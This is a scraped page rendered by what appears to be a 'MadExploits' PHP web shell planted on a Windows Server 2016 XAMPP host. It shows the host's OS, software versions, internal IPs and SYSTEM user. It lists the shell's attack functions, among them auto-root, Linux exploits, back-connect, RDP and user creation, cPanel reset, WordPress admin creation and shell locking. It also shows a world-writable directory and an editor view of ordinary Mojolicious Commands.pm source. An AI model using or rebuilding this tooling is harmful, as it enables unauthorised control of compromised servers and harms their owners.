Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Mojolicious /
[ HOME SHELL ]
Name
Size
Permission
Action
Command
[ DIR ]
drwxrwxrwx
Guides
[ DIR ]
drwxrwxrwx
Plugin
[ DIR ]
drwxrwxrwx
Routes
[ DIR ]
drwxrwxrwx
Validator
[ DIR ]
drwxrwxrwx
resources
[ DIR ]
drwxrwxrwx
Command.pm
6.44
KB
-rw-rw-rw-
Commands.pm
8.14
KB
-rw-rw-rw-
Controller.pm
26.91
KB
-rw-rw-rw-
Guides.pod
10.94
KB
-rw-rw-rw-
Lite.pm
9.81
KB
-rw-rw-rw-
Plugin.pm
1.02
KB
-rw-rw-rw-
Plugins.pm
4.6
KB
-rw-rw-rw-
Renderer.pm
13.63
KB
-rw-rw-rw-
Routes.pm
9.44
KB
-rw-rw-rw-
Sessions.pm
5.45
KB
-rw-rw-rw-
Static.pm
8.3
KB
-rw-rw-rw-
Types.pm
4.72
KB
-rw-rw-rw-
Validator.pm
4.71
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Commands.pm
package Mojolicious::Commands; use Mojo::Base 'Mojolicious::Command'; use Mojo::Loader qw(find_modules find_packages load_class); use Mojo::Server; use Mojo::Util qw(getopt tablify); has hint => <<EOF; See 'APPLICATION help COMMAND' for more information on a specific command. EOF has message => sub { shift->extract_usage . "\nCommands:\n" }; has namespaces => sub { ['Mojolicious::Command::Author', 'Mojolicious::Command'] }; sub detect { # PSGI (Plack only for now) return 'psgi' if defined $ENV{PLACK_ENV}; # CGI return 'cgi' if defined $ENV{PATH_INFO} || defined $ENV{GATEWAY_INTERFACE}; # Nothing return undef; } sub run { my ($self, $name, @args) = @_; # Application loader return $self->app if defined $ENV{MOJO_APP_LOADER}; # Try to detect environment if (!$ENV{MOJO_NO_DETECT} && (my $env = $self->detect)) { $name = $env } # Run command if ($name && $name =~ /^\w[\w-]+$/ && ($name ne 'help' || $args[0])) { $name =~ s/-/_/g; # Help $name = shift @args if my $help = $name eq 'help'; local $ENV{MOJO_HELP} = $help = $ENV{MOJO_HELP} || $help; # Remove options shared by all commands before loading the command _args(\@args); my $module; $module = _command("${_}::$name", 1) and last for @{$self->namespaces}; # Unknown command die qq{Unknown command "$name", maybe you need to install it?\n} unless $module; # Run command my $app = $self->app; my $command = $module->new(app => $app); return $command->help(@args) if $help; $app->plugins->emit_hook(before_command => $command, \@args); return $command->run(@args); } # Hide list for tests return 1 if $ENV{HARNESS_ACTIVE}; # Find all available commands my %all; for my $ns (@{$self->namespaces}) { $all{substr $_, length "${ns}::"} //= $_->new->description for grep { _command($_) } find_modules($ns), find_packages($ns); } my @rows; for my $class (sort keys %all) { my $command = $class; $command =~ s/(?<!^)_/-/g; push @rows, [" $command", $all{$class}]; } return print $self->message, tablify(\@rows), $self->hint; } sub start_app { shift; Mojo::Server->new->build_app(shift)->start(@_) } # Command line options for MOJO_HELP, MOJO_HOME and MOJO_MODE sub _args { getopt shift, ['pass_through'], 'h|help' => \$ENV{MOJO_HELP}, 'home=s' => \$ENV{MOJO_HOME}, 'm|mode=s' => \$ENV{MOJO_MODE} unless __PACKAGE__->detect; } # Do not remove options from @ARGV BEGIN { _args([@ARGV]) } sub _command { my ($module, $fatal) = @_; return $module->isa('Mojolicious::Command') ? $module : undef unless my $e = load_class $module; $fatal && ref $e ? die $e : return undef; } 1; =encoding utf8 =head1 NAME Mojolicious::Commands - Command line interface =head1 SYNOPSIS Usage: APPLICATION COMMAND [OPTIONS] mojo version mojo generate lite-app ./myapp.pl daemon -m production -l http://*:8080 ./myapp.pl get /foo ./myapp.pl routes -v Tip: CGI and PSGI environments can be automatically detected very often and work without commands. Options (for all commands): -h, --help Get more information on a specific command --home <path> Path to home directory of your application, defaults to the value of MOJO_HOME or auto-detection -m, --mode <name> Operating mode for your application, defaults to the value of MOJO_MODE/PLACK_ENV or "development" =head1 DESCRIPTION L<Mojolicious::Commands> is the interactive command line interface for the L<Mojolicious> framework. It will automatically detect available commands in the C<Mojolicious::Command> and C<Mojolicious::Command::Author> namespaces. =head1 COMMANDS These commands are available by default. =head2 cgi $ ./myapp.pl cgi Use L<Mojolicious::Command::cgi> to start application with CGI backend, usually auto detected. =head2 cpanify $ mojo cpanify -u sri -p secr3t Mojolicious-Plugin-Fun-0.1.tar.gz Use L<Mojolicious::Command::Author::cpanify> for uploading files to CPAN. =head2 daemon $ ./myapp.pl daemon Use L<Mojolicious::Command::daemon> to start application with standalone HTTP and WebSocket server. =head2 eval $ ./myapp.pl eval 'say app->home' Use L<Mojolicious::Command::eval> to run code against application. =head2 generate $ mojo generate $ mojo generate help $ ./myapp.pl generate help List available generator commands with short descriptions. $ mojo generate help <generator> $ ./myapp.pl generate help <generator> List available options for generator command with short descriptions. =head2 generate app $ mojo generate app <AppName> Use L<Mojolicious::Command::Author::generate::app> to generate application directory structure for a fully functional L<Mojolicious> application. =head2 generate lite-app $ mojo generate lite-app Use L<Mojolicious::Command::Author::generate::lite_app> to generate a fully functional L<Mojolicious::Lite> application. =head2 generate makefile $ mojo generate makefile $ ./myapp.pl generate makefile Use L<Mojolicious::Command::Author::generate::makefile> to generate C<Makefile.PL> file for application. =head2 generate plugin $ mojo generate plugin <PluginName> Use L<Mojolicious::Command::Author::generate::plugin> to generate directory structure for a fully functional L<Mojolicious> plugin. =head2 get $ mojo get https://mojolicious.org $ ./myapp.pl get /foo Use L<Mojolicious::Command::get> to perform requests to remote host or local application. =head2 help $ mojo $ mojo help $ ./myapp.pl help List available commands with short descriptions. $ mojo help <command> $ ./myapp.pl help <command> List available options for the command with short descriptions. =head2 inflate $ ./myapp.pl inflate Use L<Mojolicious::Command::Author::inflate> to turn templates and static files embedded in the C<DATA> sections of your application into real files. =head2 prefork $ ./myapp.pl prefork Use L<Mojolicious::Command::prefork> to start application with standalone pre-forking HTTP and WebSocket server. =head2 psgi $ ./myapp.pl psgi Use L<Mojolicious::Command::psgi> to start application with PSGI backend, usually auto detected. =head2 routes $ ./myapp.pl routes Use L<Mojolicious::Command::routes> to list application routes. =head2 version $ mojo version $ ./myapp.pl version Use L<Mojolicious::Command::version> to show version information for available core and optional modules, very useful for debugging. =head1 ATTRIBUTES L<Mojolicious::Commands> inherits all attributes from L<Mojolicious::Command> and implements the following new ones. =head2 hint my $hint = $commands->hint; $commands = $commands->hint('Foo'); Short hint shown after listing available commands. =head2 message my $msg = $commands->message; $commands = $commands->message('Hello World!'); Short usage message shown before listing available commands. =head2 namespaces my $namespaces = $commands->namespaces; $commands = $commands->namespaces(['MyApp::Command']); Namespaces to load commands from, defaults to C<Mojolicious::Command::Author> and C<Mojolicious::Command>. # Add another namespace to load commands from push @{$commands->namespaces}, 'MyApp::Command'; =head1 METHODS L<Mojolicious::Commands> inherits all methods from L<Mojolicious::Command> and implements the following new ones. =head2 detect my $env = $commands->detect; Try to detect environment, or return C<undef> if none could be detected. =head2 run $commands->run; $commands->run(@ARGV); Load and run commands. Automatic deployment environment detection can be disabled with the C<MOJO_NO_DETECT> environment variable. =head2 start_app Mojolicious::Commands->start_app('MyApp'); Mojolicious::Commands->start_app(MyApp => @ARGV); Load application from class and start the command line interface for it. Note that the options C<-h>/C<--help>, C<--home> and C<-m>/C<--mode>, which are shared by all commands, will be parsed from C<@ARGV> during compile time. # Always start daemon for application Mojolicious::Commands->start_app('MyApp', 'daemon', '-l', 'http://*:8080'); =head1 SEE ALSO L<Mojolicious>, L<Mojolicious::Guides>, L<https://mojolicious.org>. =cut
Close